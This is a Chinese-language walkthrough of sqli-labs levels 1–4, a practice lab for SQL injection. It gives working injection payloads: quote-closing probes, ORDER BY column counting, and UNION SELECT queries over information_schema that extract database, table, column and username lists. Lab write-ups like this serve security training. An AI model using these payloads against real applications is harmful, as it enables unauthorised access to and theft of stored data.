第一关
第一关根据提示输入id的数字参数,?id=1(相当于select * from tables where id=1)
直接就显示了一组用户名密码, id=2, 3, 4 一个一个试,就可以显示所有的帐户密码。
不过sqli-labs的目的是练习注入,在1后面首先尝试加个’
报错信息,再加个’恢复正常,可以判断这里有个注入点
接着判断字段数:
/?id=1’order by 1, 2, 3 – -
(-- -是为了注释掉后面的limit 0, 1同理还可以使用–+或者%23)
一直到3都显示正常,到4则报错,可得出字段数为3
再用union select 1,2,3 – -来看回显点,可判断2和3的位置是能够显示的
union select 1,2,(select group_concat(schema_name) from information_schema.schemata)-- -
查询security内的所有表名:
union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)-- -
列名:
group_concat(column_name) from information_schema.columns where table_name=‘users’
用户名:
group_concat(username) from security.users
源码:
根据前面的注入过程,可以发现注入点在源码中的位置
可以看出$id就是1的位置,并且由单引号闭合,以及后面的limit 0,1 的限制
所以注入可以通过’来提前闭合并且由-- -等方法注释掉(取消)后面的内容。
第二关
同样的办法先尝试单引号和双引号,一个两个全都报错
接着?id=2-1同1相同,判断为数字型
不用加引号等,之后同第一关
源码:
果然没有引号等,只要注释掉后面就行
第三关
依旧单引号先手,报错
但报错内容多了个),源码这里应有个()
尝试?id=1’)-- -成功
之后同上
源码:
源码的确是(‘’)
第四关
单引号再次先手,无报错
尝试双引号,报错
根据报错信息和上一关的经验,此处应该是(“”)
接着尝试?id=1”)报错, ?id=1”)-- -正常
成功
之后同上
源码:
以为是(””),没想到是”()”,查看发现源码中对$id进行了预处理,其实是一样的